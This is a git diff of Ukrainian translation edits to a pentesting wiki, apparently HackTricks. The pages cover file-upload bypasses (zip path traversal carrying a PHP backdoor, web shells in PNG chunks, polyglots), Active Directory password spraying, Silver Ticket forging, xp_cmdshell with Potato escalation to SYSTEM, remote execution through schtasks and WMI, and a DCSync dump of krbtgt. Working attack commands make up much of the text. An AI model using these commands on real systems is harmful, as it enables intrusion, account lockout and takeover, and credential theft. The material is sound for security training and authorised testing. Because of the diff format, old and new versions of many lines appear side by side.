[https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: PHP-код пишеться для виконання команд, переданих через змінну `$_REQUEST`. +1. **Створення PHP Shell**: PHP-код пишеться для виконання команд, переданих через змінну `$_REQUEST`. ```php ``` -2. **File Spraying and Compressed File Creation**: Створюються кілька файлів та пакується zip-архів, що містить ці файли. +2. **File Spraying та створення zip-архіву**: Створюється кілька файлів і формується zip-архів, що містить ці файли. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: Імена файлів всередині zip змінюються за допомогою vi або Hex Editor, замінюючи "xxA" на "../" для обходу директорій. +3. **Зміни за допомогою Hex Editor або vi**: Імена файлів всередині zip змінюються за допомогою vi або hex editor, замінюючи "xxA" на "../" для переходу між директоріями. ```bash :set modifiable @@ -295,29 +294,29 @@ pop graphic-context ``` ## Вбудовування PHP Shell у PNG -Вбудовування PHP Shell у IDAT chunk PNG-файлу може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP Shell залишатися неушкодженим під час цих операцій є значною перевагою для певних сценаріїв використання. +Вбудовування PHP Shell у chunk IDAT файлу PNG може ефективно обходити певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD особливо релевантні в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP Shell залишатися неушкодженим після цих операцій є значною перевагою для певних сценаріїв використання. -Детальний розгляд цієї техніки, включно з методологією та можливими застосуваннями, представлений у наступній статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс дає всебічне розуміння процесу та його наслідків. +Детальний розгляд цієї техніки, включно з методологією та потенційними застосуваннями, наведено в статті: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс дає всебічне розуміння процесу та його наслідків. -Детальніше: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Polyglot Files -Поліглот-файли слугують унікальним інструментом у кібербезпеці, виступаючи хамелеонами, які можуть одночасно коректно існувати у кількох форматах файлів. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який одночасно функціонує як GIF і RAR-архів. Такі файли не обмежуються цією комбінацією; можливі також поєднання типу GIF і JS або PPT і JS. +Polyglot файли слугують унікальним інструментом у кібербезпеці, виступаючи як камелеони, що можуть одночасно коректно існувати у кількох форматах файлів. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який працює одночасно як GIF та RAR архів. Такі файли не обмежуються цим поєднанням; можливі й комбінації на кшталт GIF та JS або PPT та JS. -Основна користь поліглот-файлів полягає в їх здатності обійти заходи безпеки, що фільтрують файли за типом. Звична практика в багатьох додатках — дозволяти до завантаження лише певні типи файлів, наприклад JPEG, GIF або DOC, щоб зменшити ризик від потенційно шкідливих форматів (наприклад, JS, PHP або Phar). Однак поліглот, відповідаючи структурним вимогам кількох форматів файлів, може непомітно обминати ці обмеження. +Головна користь polyglot файлів полягає в їхній здатності обходити заходи безпеки, що фільтрують файли за типом. Звичайна практика в багатьох застосунках — дозволяти лише певні типи файлів для завантаження, наприклад JPEG, GIF або DOC, щоб знизити ризик завантаження потенційно небезпечних форматів (наприклад JS, PHP або Phar). Однак polyglot, відповідаючи структурним критеріям кількох форматів, може непомітно обійти ці обмеження. -Незважаючи на гнучкість, поліглоти мають обмеження. Наприклад, хоча поліглот може одночасно бути PHAR (PHp ARchive) та JPEG, успішність його завантаження може залежати від політики платформи щодо розширень файлів. Якщо система суворо перевіряє допустимі розширення, сама по собі структурна подвійність поліглота може бути недостатньою для гарантії завантаження. +Незважаючи на адаптивність, polyglot файли мають обмеження. Наприклад, хоча polyglot може одночасно бути PHAR і JPEG, успішність його завантаження може залежати від політики платформи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, сама по собі структурна подвійність polyglot може не забезпечити успішне завантаження. -Детальніше: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) ### Upload valid JSONs like if it was PDF -Як уникнути визначення типу файлу, завантажуючи валідний JSON-файл, навіть якщо це не дозволено, прикидаючись PDF-файлом (техніки з **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Як уникнути виявлення типу файлу, завантаживши валідний JSON файл навіть якщо це не дозволено, підробивши PDF файл (техніки з **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: Поки `%PDF` magic bytes знаходяться в перших 1024 байтах, воно вважається валідним (див. приклад у пості) -- **`pdflib` library**: Додайте фейковий PDF-вміст всередину поля JSON, щоб бібліотека вважала його PDF (див. приклад у пості) -- **`file` binary**: Воно може читати до 1048576 байт з файлу. Просто створіть JSON більший за це, щоб програма не могла розпарсити вміст як JSON, а потім всередині JSON вставте початкову частину реального PDF — і воно вважатиме файл PDF +- **`mmmagic` library**: Поки магічні байти `%PDF` присутні в перших 1024 байтах — файл вважається дійсним PDF (див. приклад у пості) +- **`pdflib` library**: Додайте фейковий PDF формат всередину поля JSON, щоб бібліотека вирішила, що це PDF (див. приклад у пості) +- **`file` binary**: Воно може читати до 1048576 байтів з файлу. Просто створіть JSON більший за цей розмір, щоб воно не могло розпарсити вміст як json, а потім всередині JSON помістіть початкову частину реального PDF — і воно вважатиме його PDF ## References diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index f42e2916e..c263c7054 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -**Перегляньте чудову статтю:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +**Перегляньте чудову статтю за адресою:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 9d171ebc4..e90d94ead 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Після того, як ви знайшли кілька **valid usernames** ви можете спробувати найбільш поширені **common passwords** (keep in mind the password policy of the environment)\ з кожним із виявлених користувачів.\ -By **default** the **minimum** **password** **length** is **7**. +Після того, як ви знайшли кілька **valid usernames**, ви можете спробувати найпоширеніші **common passwords** (беріть до уваги **password policy** середовища).\ +За замовчуванням мінімальна довжина **password** — **7**. -Списки **common usernames** також можуть бути корисними: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Списки поширених **usernames** також можуть бути корисними: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Зверніть увагу, що ви **could lockout some accounts if you try several wrong passwords** (by default more than 10). +Зверніть увагу, що ви **could lockout some accounts if you try several wrong passwords** (за замовчуванням більше 10). ### Get password policy -Якщо у вас є якісь user credentials або shell як domain user ви можете **get the password policy with**: +Якщо у вас є якісь **user credentials** або shell як **domain user**, ви можете **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,7 +31,7 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Експлуатація з Linux (або будь-якої ОС) +### Експлуатація з Linux (або з будь-якої ОС) - Використовуючи **crackmapexec:** ```bash @@ -51,7 +51,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ```bash spray.sh -smb ``` -- Використання [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - НЕ РЕКОМЕНДУЄТЬСЯ, ІНОДІ НЕ ПРАЦЮЄ +- Використання [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - НЕ РЕКОМЕНДУЄТЬСЯ — ІНОДІ НЕ ПРАЦЮЄ ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -60,7 +60,7 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123 ![](<../../images/image (745).png>) -- За допомогою **rpcclient**: +- Використовуючи **rpcclient**: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do @@ -69,7 +69,7 @@ done ``` #### З Windows -- За допомогою [Rubeus](https://github.com/Zer1t0/Rubeus) версії з модулем brute: +- З версією [Rubeus](https://github.com/Zer1t0/Rubeus) з модулем brute: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- За допомогою [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (За замовчуванням він може генерувати користувачів з домену і отримує політику паролів з домену та обмежує спроби відповідно до неї): +- За допомогою [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (може за замовчуванням генерувати користувачів із домену, отримувати політику паролів із домену та обмежувати кількість спроб відповідно до неї): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -85,12 +85,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` -### Виявлення та захоплення "Password must change at next logon" Accounts (SAMR) +### Виявлення та захоплення облікових записів "Password must change at next logon" (SAMR) -Низькошумна техніка полягає в тому, щоб spray a benign/empty password і відловити облікові записи, які повертають STATUS_PASSWORD_MUST_CHANGE — це вказує, що пароль був примусово прострочений і його можна змінити без знання попереднього. +Низькошумний метод — spray a benign/empty password і виявляти облікові записи, які повертають STATUS_PASSWORD_MUST_CHANGE, що вказує, що password було примусово прострочено і його можна змінити без знання старого. -Workflow: -- Перерахувати користувачів (RID brute via SAMR) для формування списку цілей: +Порядок: +- Перелічити користувачів (RID brute via SAMR) щоб скласти список цілей: {{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -99,12 +99,12 @@ Workflow: # NetExec (null/guest) + RID brute to harvest users netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt ``` -- Виконайте password spraying з пустим password і продовжуйте після hits, щоб захопити облікові записи, які мають змінити password при наступному logon: +- Spray порожній пароль і продовжуйте при hits, щоб захопити облікові записи, які повинні змінити пароль при наступному logon: ```bash # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results netexec smb -u users.txt -p '' --continue-on-success ``` -- Для кожного збігу змінюйте пароль через SAMR за допомогою модуля NetExec (старий пароль не потрібен, коли встановлено "must change"): +- Для кожного hit, змініть пароль через SAMR за допомогою NetExec’s module (старий пароль не потрібен, коли встановлено "must change"): ```bash # Strong complexity to satisfy policy env NEWPASS='P@ssw0rd!2025#' ; \ @@ -113,27 +113,27 @@ netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" # Validate and retrieve domain password policy with the new creds netexec smb -u -p "$NEWPASS" --pass-pol ``` -Операційні нотатки: -- Переконайтеся, що годинник вашого хоста синхронізований з DC перед операціями на основі Kerberos: `sudo ntpdate `. -- Знак [+] без (Pwn3d!) у деяких модулях (наприклад, RDP/WinRM) означає, що creds дійсні, але обліковий запис не має прав на інтерактивний вхід. +Оперативні нотатки: +- Переконайтеся, що годинник вашого хоста синхронізовано з DC перед Kerberos-based операціями: `sudo ntpdate `. +- Позначка [+] без (Pwn3d!) у деяких модулях (наприклад, RDP/WinRM) означає, що creds дійсні, але обліковий запис не має interactive logon rights. ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` -### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) +### Kerberos pre-auth spraying з LDAP targeting та PSO-aware throttling (SpearSpray) -Kerberos pre-auth–based spraying зменшує шум порівняно з SMB/NTLM/LDAP bind attempts і краще відповідає політикам блокування AD. SpearSpray поєднує LDAP-driven targeting, pattern engine та обізнаність про політики (domain policy + PSOs + буфер badPwdCount) для точного й безпечного спреїнгу. Він також може позначати скомпрометовані principals у Neo4j для побудови шляхів у BloodHound. +Kerberos pre-auth–based spraying зменшує шум у порівнянні з SMB/NTLM/LDAP bind attempts і краще узгоджується з AD lockout policies. SpearSpray поєднує LDAP-driven targeting, pattern engine і policy awareness (domain policy + PSOs + badPwdCount buffer), щоб здійснювати spray точно і безпечно. Він також може тегувати скомпрометовані principals у Neo4j для BloodHound pathing. -Key ideas: -- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters. -- Політика блокування домену + PSO-aware фільтрація, щоб залишити налаштовуваний буфер спроб (threshold) і уникнути блокування користувачів. -- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625). -- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet. -- Керування пропускною здатністю за допомогою threads, jitter та max requests per second. -- Опційна інтеграція з Neo4j для маркування скомпрометованих користувачів для BloodHound. +Ключові ідеї: +- LDAP user discovery з пагінацією та підтримкою LDAPS, опційно використовуючи custom LDAP filters. +- Domain lockout policy + PSO-aware filtering, щоб залишити налаштовуваний буфер спроб (threshold) і уникнути блокування користувачів. +- Kerberos pre-auth validation із використанням швидких gssapi bindings (генерує 4768/4771 на DCs замість 4625). +- Pattern-based, per-user password generation з використанням змінних, таких як імена та часові значення, похідні від кожного користувача's pwdLastSet. +- Контроль пропускної здатності за допомогою threads, jitter і max requests per second. +- Опційна інтеграція з Neo4j для маркування owned users для BloodHound. -Basic usage and discovery: +Базове використання та виявлення: ```bash # List available pattern variables spearspray -l @@ -144,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # LDAPS (TCP/636) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl ``` -Цілеспрямованість і контроль шаблонів: +Вибір цілей та контроль шаблонів: ```bash # Custom LDAP filter (e.g., target specific OU/attributes) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ @@ -174,29 +174,29 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local {samaccountname} {extra}{separator}{year}{suffix} ``` -Available variables include: +Доступні змінні включають: - {name}, {samaccountname} -- Часові значення з кожного користувача pwdLastSet (або whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} -- Допоміжні елементи складання і org token: {separator}, {suffix}, {extra} +- Тимчасові значення з pwdLastSet кожного користувача (або whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Допоміжні елементи для складання та токен організації: {separator}, {suffix}, {extra} -Operational notes: -- Надавайте перевагу запитам до PDC-emulator з -dc, щоб читати найбільш авторитетні badPwdCount та інформацію, пов’язану з політикою. -- Скидання badPwdCount відбувається при наступній спробі після вікна спостереження; використовуйте поріг і таймінг, щоб залишатися в безпеці. -- Спроби Kerberos pre-auth відображаються як 4768/4771 у телеметрії DC; використовуйте jitter і rate-limiting, щоб злитися з фоновим трафіком. +Операційні нотатки: +- Надавайте перевагу запитам до PDC-emulator з -dc, щоб читати найавторитетніший badPwdCount та інформацію, пов’язану з політикою. +- Скидання badPwdCount тригеряться при наступній спробі після вікна спостереження; використовуйтесь порогові значення і таймінг, щоб залишатися в безпеці. +- Спроби Kerberos pre-auth відображаються як 4768/4771 у DC telemetry; використовуйте jitter і rate-limiting, щоб злитися з фоном. -> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. +> Порада: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. ## Outlook Web Access -Існує кілька інструментів для password spraying outlook. +Є кілька інструментів для p**assword spraying outlook**. -- З [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) -- З [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) -- З [Ruler](https://github.com/sensepost/ruler) (надійний!) -- З [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) -- З [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) +- За допомогою [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) +- за допомогою [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) +- За допомогою [Ruler](https://github.com/sensepost/ruler) (надійний!) +- За допомогою [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) +- За допомогою [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Щоб використовувати будь-який із цих інструментів, вам потрібен список користувачів та пароль або невеликий список паролів для виконання password spraying. +Щоб використовувати будь-який із цих інструментів, потрібні список користувачів і пароль або невеликий список паролів для password spraying. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index 96ee898b6..7a305e286 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,21 +6,21 @@ ## Silver ticket -Атака **Silver Ticket** передбачає експлуатацію service tickets в середовищах Active Directory (AD). Цей метод базується на **acquiring the NTLM hash of a service account**, наприклад computer account, для підробки Ticket Granting Service (TGS) ticket. З таким підробленим квитком атакуючий може отримати доступ до конкретних сервісів у мережі, **impersonating any user**, зазвичай прагнучи отримати адміністративні привілеї. Підкреслюється, що використання AES keys для підробки квитків є більш безпечним і менш помітним. +Атака **Silver Ticket** полягає в експлуатації service tickets у середовищах Active Directory (AD). Цей метод базується на **acquiring the NTLM hash of a service account**, наприклад a computer account, для підробки Ticket Granting Service (TGS) ticket. За допомогою такого підробленого ticket зловмисник може отримати доступ до певних сервісів у мережі, **impersonating any user**, зазвичай прагнучи до адміністративних привілеїв. Наголошується, що використання AES keys для підробки tickets є більш безпечним і менш виявним. > [!WARNING] -> Silver Tickets менш помітні, ніж Golden Tickets, оскільки вони потребують лише **hash of the service account**, а не krbtgt account. Однак вони обмежені конкретним сервісом, на який спрямовані. Крім того, достатньо просто вкрасти пароль користувача. -> Якщо ви скомпрометували **account's password with a SPN**, ви можете використати цей пароль для створення Silver Ticket, що impersonating any user до цього сервісу. +> Silver Tickets менш помітні, ніж Golden Tickets, оскільки вони потребують лише **hash of the service account**, а не krbtgt account. Однак вони обмежені конкретним сервісом, на який спрямовані. Також достатньо просто вкрасти пароль користувача. +> Якщо ви скомпрометували **account's password with a SPN**, ви можете використати цей пароль, щоб створити Silver Ticket, який імперсонуватиме будь-якого користувача для цього сервісу. -Для створення квитків (ticket crafting) використовуються різні інструменти залежно від операційної системи: +For ticket crafting, different tools are employed based on the operating system: -### On Linux +### На Linux ```bash python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache python psexec.py /@ -k -no-pass ``` -### У Windows +### На Windows ```bash # Using Rubeus ## /ldap option is used to get domain data automatically @@ -37,11 +37,11 @@ mimikatz.exe "kerberos::ptt " # Obtain a shell .\PsExec.exe -accepteula \\ cmd ``` -Сервіс CIFS підкреслюється як поширена ціль для доступу до файлової системи жертви, але інші сервіси, такі як HOST і RPCSS, також можна експлуатувати для виконання завдань та WMI-запитів. +Сервіс CIFS виділяють як поширену ціль для доступу до файлової системи жертви, але також можна експлуатувати інші сервіси, такі як HOST і RPCSS, для виконання завдань та WMI-запитів. -### Приклад: MSSQL service (MSSQLSvc) + Potato to SYSTEM +### Приклад: служба MSSQL (MSSQLSvc) + Potato to SYSTEM -Якщо у вас є NTLM-хеш (або AES-ключ) облікового запису сервісу SQL (наприклад, sqlsvc), ви можете підробити TGS для MSSQL SPN і impersonate будь-якого користувача для SQL service. Далі увімкніть xp_cmdshell, щоб виконувати команди від імені облікового запису сервісу SQL. Якщо цей токен має SeImpersonatePrivilege, використайте Potato для ескалації до SYSTEM. +Якщо у вас є NTLM hash (або AES key) облікового запису служби SQL (наприклад, sqlsvc), ви можете підробити TGS для MSSQL SPN і impersonate будь-якого користувача для SQL service. Далі увімкніть xp_cmdshell, щоб виконувати команди від імені облікового запису служби SQL. Якщо цей token має SeImpersonatePrivilege, запустіть Potato для підвищення до SYSTEM. ```bash # Forge a silver ticket for MSSQLSvc (RC4/NTLM example) python ticketer.py -nthash -domain-sid -domain \ @@ -52,20 +52,20 @@ export KRB5CCNAME=$PWD/administrator.ccache impacket-mssqlclient -k -no-pass /administrator@:1433 \ -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" ``` -- Якщо отриманий контекст має SeImpersonatePrivilege (зазвичай для service accounts), використайте варіант Potato, щоб отримати SYSTEM: +- Якщо в отриманому контексті є SeImpersonatePrivilege (часто буває для service accounts), використовуйте Potato variant, щоб отримати SYSTEM: ```bash # On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato PrintSpoofer.exe -c "cmd /c whoami" # or GodPotato -cmd "cmd /c whoami" ``` -Детальніше про зловживання MSSQL та увімкнення xp_cmdshell: +More details on abusing MSSQL and enabling xp_cmdshell: {{#ref}} abusing-ad-mssql.md {{#endref}} -Огляд Potato techniques: +Potato techniques overview: {{#ref}} ../windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -73,44 +73,44 @@ abusing-ad-mssql.md ## Доступні сервіси -| Service Type | Service Silver Tickets | +| Тип служби | Служби (Silver Tickets) | | ------------------------------------------ | -------------------------------------------------------------------------- | | WMI |

HOST

RPCSS

| -| PowerShell Remoting |

HOST

HTTP

Depending on OS also:

WSMAN

RPCSS

| -| WinRM |

HOST

HTTP

In some occasions you can just ask for: WINRM

| -| Scheduled Tasks | HOST | +| PowerShell Remoting |

HOST

HTTP

Залежно від ОС також:

WSMAN

RPCSS

| +| WinRM |

HOST

HTTP

Іноді можна просто запросити: WINRM

| +| Заплановані завдання | HOST | | Windows File Share, also psexec | CIFS | -| LDAP operations, included DCSync | LDAP | +| Операції LDAP, включно з DCSync | LDAP | | Windows Remote Server Administration Tools |

RPCSS

LDAP

CIFS

| | Golden Tickets | krbtgt | -Використовуючи **Rubeus**, ви можете **запитати всі** ці квитки, використавши параметр: +Using **Rubeus** you may **ask for all** these tickets using the parameter: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -### Silver tickets — Ідентифікатори подій +### Ідентифікатори подій для Silver tickets -- 4624: Успішний вхід облікового запису +- 4624: Вхід в обліковий запис - 4634: Вихід з облікового запису -- 4672: Адміністраторський вхід +- 4672: Вхід адміністратора -## Персистентність +## Persistence -Щоб уникнути того, щоб машини змінювали пароль кожні 30 днів, встановіть `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` або можна встановити `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` на значення більше ніж 30days, щоб вказати період ротації, коли пароль машини має бути змінений. +Щоб уникнути того, щоб машини змінювали свій пароль кожні 30 днів, встановіть `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` або можна встановити `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` на значення більше ніж 30 днів, щоб вказати період ротації пароля машини. ## Зловживання сервісними квитками -У наведених прикладах уявімо, що квиток отримано шляхом імітації облікового запису адміністратора. +У наступних прикладах уявімо, що квиток отримано, видаючи себе за обліковий запис адміністратора. ### CIFS -З цим квитком ви зможете отримати доступ до папок `C$` та `ADMIN$` через **SMB** (якщо вони відкриті) та скопіювати файли в частину віддаленої файлової системи, просто зробивши щось на кшталт: +З цим квитком ви зможете отримати доступ до папок `C$` та `ADMIN$` через **SMB** (якщо вони доступні) та скопіювати файли у частину віддаленої файлової системи, просто виконавши щось на кшталт: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` -Ви також зможете отримати shell усередині host або виконувати довільні команди за допомогою **psexec**: +Ви також зможете отримати shell на хості або виконувати довільні команди за допомогою **psexec**: {{#ref}} @@ -119,7 +119,7 @@ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ### HOST -З цим дозволом ви можете створювати заплановані завдання на віддалених комп'ютерах і виконувати довільні команди: +Маючи цей дозвіл, ви можете створювати заплановані завдання на віддалених комп'ютерах та виконувати довільні команди: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc @@ -133,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS -За допомогою цих квитків ви можете **виконувати WMI у системі жертви**: +За допомогою цих tickets ви можете **запускати WMI на комп'ютері жертви**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local @@ -145,18 +145,17 @@ wmic remote.computer.local list full /format:list ``` Знайдіть **більше інформації про wmiexec** на наступній сторінці: - {{#ref}} ../lateral-movement/wmiexec.md {{#endref}} -### ХОСТ + WSMAN (WINRM) +### HOST + WSMAN (WINRM) -Маючи доступ по winrm до комп'ютера, ви можете **підключитися до нього** та навіть отримати PowerShell: +Якщо маєте доступ до комп'ютера через winrm, ви можете **отримати до нього доступ** і навіть отримати PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -Перегляньте наступну сторінку, щоб дізнатися **більше способів підключення до віддаленого хоста за допомогою winrm**: +Перегляньте наступну сторінку, щоб дізнатися **більше способів підключитися до віддаленого хоста за допомогою winrm**: {{#ref}} @@ -164,11 +163,11 @@ New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC {{#endref}} > [!WARNING] -> Зверніть увагу, що **winrm має бути активним і прослуховувати** на віддаленому комп'ютері, щоб отримати до нього доступ. +> Зауважте, що **winrm має бути активним і прослуховувати** на віддаленому комп'ютері для доступу до нього. ### LDAP -Маючи це право, ви можете отримати дамп бази даних DC за допомогою **DCSync**: +Маючи цей привілей, ви можете dump базу даних DC, використовуючи **DCSync**: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` @@ -180,7 +179,7 @@ dcsync.md {{#endref}} -## Джерела +## Посилання - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index 8a72a3b41..9841cf182 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -4,14 +4,14 @@ ## Політика AppLocker -An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization. +Білий список додатків — це перелік затверджених програм або виконуваних файлів, яким дозволено бути присутніми та запускатися в системі. Метою є захист середовища від шкідливого malware та незатвердженого програмного забезпечення, яке не відповідає конкретним бізнес-потребам організації. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft's **рішення для білого списку застосунків** і дає системним адміністраторам контроль над **якими застосунками та файлами користувачі можуть запускати**. Воно забезпечує **детальний контроль** над виконуваними файлами, скриптами, файлами встановлення Windows, DLLs, упакованими додатками та інсталяторими упакованих додатків.\ -Звично організації **блокують cmd.exe та PowerShell.exe** і запис прав у певні каталоги, **але все це можна обійти**. +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) є рішенням Microsoft для реалізації **білого списку додатків** і дає системним адміністраторам контроль над **тим, які додатки та файли можуть запускати користувачі**. Воно забезпечує **детальний контроль** над виконуваними файлами, скриптами, файлами інсталятора Windows, DLL, упакованими додатками та інсталяторами упакованих додатків.\ +Зазвичай організації **блокують cmd.exe та PowerShell.exe** і доступ на запис до певних 